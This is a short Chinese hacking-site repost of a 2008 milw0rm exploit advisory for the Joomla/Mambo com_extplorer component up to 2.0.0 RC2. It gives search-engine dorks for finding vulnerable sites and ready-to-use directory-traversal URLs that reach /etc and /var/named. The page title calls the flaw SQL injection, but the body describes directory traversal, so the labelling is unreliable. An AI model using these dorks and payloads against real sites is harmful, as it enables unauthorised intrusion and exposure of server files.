|
| |
| |
你的位置 首页 >> 黑客技术 >> 最新漏洞->joomlaSQL注入vuln
|
|
joomlaSQL注入vuln
|
| 日期：2008-04-15 06:20:06 来源：
不详 作者：
未知
|
--------------------------------------------------------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
= Author : HouSSaMix
= Script : Joomla and Mambo Component com_extplorer
= version : <= 2.0.0 RC2
= Download : http://joomlacode.org/gf/download/frsrelease/6717/21992/com_extplorer_2.0.0_RC2.zip
= Dork1 : inurl:index.php?option=com_extplorer
= Dork2 : powered by extplorer
= BUG : Local Directory Traversal
exploit => target.com/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory]
example :
site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
= greetz : V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers
================================================================================
# milw0rm.com | Joomla Component com_extplorer <= 2.0.0 RC2 SQL Injection Vuln
责任编辑：浪漫樱花
|
|
|
|
|
